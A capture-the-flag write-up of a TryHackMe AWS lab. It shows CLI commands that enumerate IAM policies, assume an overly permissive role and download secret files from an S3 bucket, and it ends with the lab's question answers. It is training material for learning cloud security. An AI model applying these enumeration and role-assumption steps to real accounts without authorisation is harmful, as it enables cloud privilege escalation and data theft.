THM | AoC 2025 | Day 23

Day-23: AWS Security - S3cret Santa
SUMMARY
We start out by verifying our AWS credentials as user
sir.carrotbaneand then enumerate IAM policies where we discover permissions to assume thebucketmasterrole. Next, we assume this role via AWS STS, obtaining temporary credentials with S3 access.
We then enumerate the
easter-secrets-123145S3 bucket and download sensitive files using aws s3api, completing the privilege escalation and data exfiltration.

AWS Security - S3cret Santa
- TL;DR: Learn the basics of AWS enumeration.
- Original Room: TryHackMe | Advent of Cyber 2025 | DAY 23 - AWS Security - S3cret Santa
STORYLINE
"An infiltrated elf agent discovered cloud credentials on Sir Carrotbane's desk and believes they may provide access to TBFC's cloud network."
Credentials and Access
AWS programmatic access is configured using an Access Key ID and Secret Access Key stored in the ~/.aws/credentials file. The AWS Security Token Service (STS) allows you to retrieve information about the configured user credentials.
You can verify your AWS CLI configuration by running the aws sts get-caller-identity command, which returns details including the user ID, AWS account number, and the user's Amazon Resource Name (ARN).
ubuntu@tryhackme:~$ aws sts get-caller-identity
{
"UserId": "kau1ve5g5ycfczxhrzjk",
"Account": "123456789012",
"Arn": "arn:aws:iam::123456789012:user/sir.carrotbane"
}
ubuntu@tryhackme:~$
IAM
Amazon Web Services' Identity and Access Management (IAM) controls user access to resources and their permitted actions.
Core Components
- IAM Users | Individual identities with credentials and user-level permissions
- IAM Groups | Collections of users for simplified bulk permission management
- IAM Roles | Temporary identities for users, services, or external accounts
- IAM Policies | JSON documents defining who (Principal) can do what (Action) on which resources (Resource) under what conditions (Condition)
IAM Policies
Policies are JSON documents that specify who (Principal) can perform what (Action) on which resources (Resource) under what conditions (Condition).
Users & Groups
Enumerating Users
ubuntu@tryhackme:~$ aws iam list-users
{
"Users": [
{
"Path": "/",
"UserName": "sir.carrotbane",
"UserId": "kau1ve5g5ycfczxhrzjk",
"Arn": "arn:aws:iam::123456789012:user/sir.carrotbane",
"CreateDate": "[REDACTED-TIME]"
}
]
}
ubuntu@tryhackme:~$
Enumerating User Groups
ubuntu@tryhackme:~$ aws iam list-groups-for-user --user-name sir.carrotbane
{
"Groups": []
}
ubuntu@tryhackme:~$
Policies
Enumerating User Policies
- Inline policies are hard-coded directly into user profiles and are deleted when the identity is removed. Useful for one-off, identity-specific permissions.
- Attached policies (also called managed policies) are reusable across multiple identities. They require only a single update to propagate changes to all identities that use them, making them more efficient for managing shared permissions.
Inline Policies
ubuntu@tryhackme:~$ aws iam list-user-policies --user-name sir.carrotbane
{
"PolicyNames": [
"SirCarrotbanePolicy"
]
}
ubuntu@tryhackme:~$
Attached Policies
ubuntu@tryhackme:~$ aws iam list-attached-user-policies --user-name sir.carrotbane
{
"AttachedPolicies": []
}
ubuntu@tryhackme:~$
Check on an inline Policy assigned to a User
ubuntu@tryhackme:~$ aws iam get-user-policy --policy-name SirCarrotbanePolicy --user-name sir.carrotbane
{
"UserName": "sir.carrotbane",
"PolicyName": "SirCarrotbanePolicy",
"PolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Action": [
"iam:ListUsers",
"iam:ListGroups",
"iam:ListRoles",
"iam:ListAttachedUserPolicies",
"iam:ListAttachedGroupPolicies",
"iam:ListAttachedRolePolicies",
"iam:GetUserPolicy",
"iam:GetGroupPolicy",
"iam:GetRolePolicy",
"iam:GetUser",
"iam:GetGroup",
"iam:GetRole",
"iam:ListGroupsForUser",
"iam:ListUserPolicies",
"iam:ListGroupPolicies",
"iam:ListRolePolicies",
"sts:AssumeRole"
],
"Effect": "Allow",
"Resource": "*",
"Sid": "ListIAMEntities"
}
]
}
}
ubuntu@tryhackme:~$
Roles
Enumerating Roles
ubuntu@tryhackme:~$ aws iam list-roles
{
"Roles": [
{
"Path": "/",
"RoleName": "bucketmaster",
"RoleId": "AROARZPUZDIKNISGMKDCI",
"Arn": "arn:aws:iam::123456789012:role/bucketmaster",
"CreateDate": "[REDACTED-TIME]",
"AssumeRolePolicyDocument": {
"Statement": [
{
"Action": "sts:AssumeRole",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::123456789012:user/sir.carrotbane"
}
}
],
"Version": "2012-10-17"
},
"MaxSessionDuration": 3600
}
]
}
ubuntu@tryhackme:~$
Enumerate inline Policies assigned to a Role
ubuntu@tryhackme:~$ aws iam list-role-policies --role-name bucketmaster
{
"PolicyNames": [
"BucketMasterPolicy"
]
}
ubuntu@tryhackme:~$
Enumerate attached Policies assigned to a Role
ubuntu@tryhackme:~$ aws iam list-attached-role-policies --role-name bucketmaster
{
"AttachedPolicies": []
}
ubuntu@tryhackme:~$
Check on inline Policy assigned to a Role
ubuntu@tryhackme:~$ aws iam get-role-policy --role-name bucketmaster --policy-name BucketMasterPolicy
{
"RoleName": "bucketmaster",
"PolicyName": "BucketMasterPolicy",
"PolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Action": [
"s3:ListAllMyBuckets"
],
"Effect": "Allow",
"Resource": "*",
"Sid": "ListAllBuckets"
},
{
"Action": [
"s3:ListBucket"
],
"Effect": "Allow",
"Resource": [
"arn:aws:s3:::easter-secrets-123145",
"arn:aws:s3:::bunny-website-645341"
],
"Sid": "ListBuckets"
},
{
"Action": [
"s3:GetObject"
],
"Effect": "Allow",
"Resource": "arn:aws:s3:::easter-secrets-123145/*",
"Sid": "GetObjectsFromEasterSecrets"
}
]
}
}
ubuntu@tryhackme:~$
Assuming Roles
Trigger Temporary Credential Generation
- will ask STS, to generate a temporary set of credentials to assume the specified role
ubuntu@tryhackme:~$ aws sts assume-role --role-arn arn:aws:iam::123456789012:role/bucketmaster --role-session-name TBFC
{
"Credentials": {
"AccessKeyId": "ASIARZPUZDIKKJWDTODC",
"SecretAccessKey": "wR2WwE4b4G4yMdb48twzpBjIEDFXfjHumjI47M/O",
"SessionToken": "FQoGZXIvYXdzEBYaDFw8SfBBy/1yQucoMavFQyBCYGRHKK6Av31i/yLvtTdG7ujNanEzCJX35wrcTil+a+tcuLo3IbocJpzpBbJ+iMykZlLVU3LnI5tZbuBSXa9eihdJvmaMs14mxrLyedlcUuSVya+ww/AuPmXilZHmo9MR3zD0jPWvJBWC75u80kAMQcerXCYM9fXW8nIqv+9DfT8YSUntcvBoXq3dk8KlCbRbcuCZE9pYJfMdS6gmaGxbLBSWZDBNVUztdz54bR4XttouTcCJE9VlfUZtLniGkJRQ6/3MtZ+vxPEk8vzG1KIfFlxqeafohBOracHddK5CCjFRU+q62tRu1RJuRvs=",
"Expiration": "[REDACTED-TIME]"
},
"AssumedRoleUser": {
"AssumedRoleId": "AROARZPUZDIKNISGMKDCI:TBFC",
"Arn": "arn:aws:sts::123456789012:assumed-role/bucketmaster/TBFC"
},
"PackedPolicySize": 6
}
ubuntu@tryhackme:~$
Setting the Temporary Credentials to Assume Role
ubuntu@tryhackme:~$ export AWS_ACCESS_KEY_ID="ASIARZPUZDIKKJWDTODC"
ubuntu@tryhackme:~$ export AWS_SECRET_ACCESS_KEY="wR2WwE4b4G4yMdb48twzpBjIEDFXfjHumjI47M/O"
ubuntu@tryhackme:~$ export AWS_SESSION_TOKEN="FQoGZXIvYXdzEBYaDFw8SfBBy/1yQucoMavFQyBCYGRHKK6Av31i/yLvtTdG7ujNanEzCJX35wrcTil+a+tcuLo3IbocJpzpBbJ+iMykZlLVU3LnI5tZbuBSXa9eihdJvmaMs14mxrLyedlcUuSVya+ww/AuPmXilZHmo9MR3zD0jPWvJBWC75u80kAMQcerXCYM9fXW8nIqv+9DfT8YSUntcvBoXq3dk8KlCbRbcuCZE9pYJfMdS6gmaGxbLBSWZDBNVUztdz54bR4XttouTcCJE9VlfUZtLniGkJRQ6/3MtZ+vxPEk8vzG1KIfFlxqeafohBOracHddK5CCjFRU+q62tRu1RJuRvs="
ubuntu@tryhackme:~$
Verify Assumed Role
ubuntu@tryhackme:~$ aws sts get-caller-identity
{
"UserId": "AROARZPUZDIKNISGMKDCI:TBFC",
"Account": "123456789012",
"Arn": "arn:aws:sts::123456789012:assumed-role/bucketmaster/TBFC"
}
ubuntu@tryhackme:~$
S3 Buckets
Amazon S3 (Simple Storage Service) is a cloud-based object storage service provided by Amazon Web Services. It stores any type of data — including images, documents, logs, and backup files — in containers called "buckets," which function like cloud directories.
Enumerate available S3 buckets
ubuntu@tryhackme:~$ aws s3api list-buckets
{
"Buckets": [
{
"Name": "bunny-website-645341",
"CreationDate": "[REDACTED-TIME]"
},
{
"Name": "easter-secrets-123145",
"CreationDate": "[REDACTED-TIME]"
}
],
"Owner": {
"DisplayName": "webfile",
"ID": "bcaf1ffd86f41161ca5fb16fd081034f"
},
"Prefix": null
}
ubuntu@tryhackme:~$
Enumerate a specific bucket
ubuntu@tryhackme:~$ aws s3api list-objects --bucket easter-secrets-123145
{
"Contents": [
{
"Key": "cloud_password.txt",
"LastModified": "[REDACTED-TIME]",
"ETag": "\"c63e1474bf79a91ef95a1e6c8305a304\"",
"Size": 29,
"StorageClass": "STANDARD",
"Owner": {
"DisplayName": "webfile",
"ID": "75aa57f09aa0c8caeab4f8c24e99d10f8e7faeebf76c078efc7c6caea54ba06a"
}
},
{
"Key": "groceries.txt",
"LastModified": "[REDACTED-TIME]",
"ETag": "\"44a93e970be00ed62b8742f42c8600d8\"",
"Size": 28,
"StorageClass": "STANDARD",
"Owner": {
"DisplayName": "webfile",
"ID": "75aa57f09aa0c8caeab4f8c24e99d10f8e7faeebf76c078efc7c6caea54ba06a"
}
}
],
"RequestCharged": null,
"Prefix": null
}
ubuntu@tryhackme:~$
Transfer (Download) object from Bucket to Local Machine
ubuntu@tryhackme:~$ aws s3api get-object --bucket easter-secrets-123145 --key cloud_password.txt cloud_password.txt
{
"AcceptRanges": "bytes",
"LastModified": "[REDACTED-TIME]",
"ContentLength": 29,
"ETag": "\"c63e1474bf79a91ef95a1e6c8305a304\"",
"ContentType": "application/octet-stream",
"Metadata": {}
}
ubuntu@tryhackme:~$ ls -hla
[...SNIP...]
-rw-r--r-- 1 ubuntu ubuntu [REDACTED-TIME] cloud_password.txt
[...SNIP...]
ubuntu@tryhackme:~$ cat cloud_password.txt
[REDACTED-FLAG]
ubuntu@tryhackme:~$
Q & A
Question-1: Run aws sts get-caller-identity. What is the number shown for the "Account" parameter?
123456789012
Question-2: What IAM component is used to describe the permissions to be assigned to a user or a group?
Policy
Question-3: What is the name of the policy assigned to sir.carrotbane?
SirCarrotbanePolicy
Question-4: Apart from GetObject and ListBucket, what other action can be taken by assuming the bucketmaster role?
ListAllMyBuckets
Question-5: What are the contents of the cloud_password.txt file?
[REDACTED-FLAG]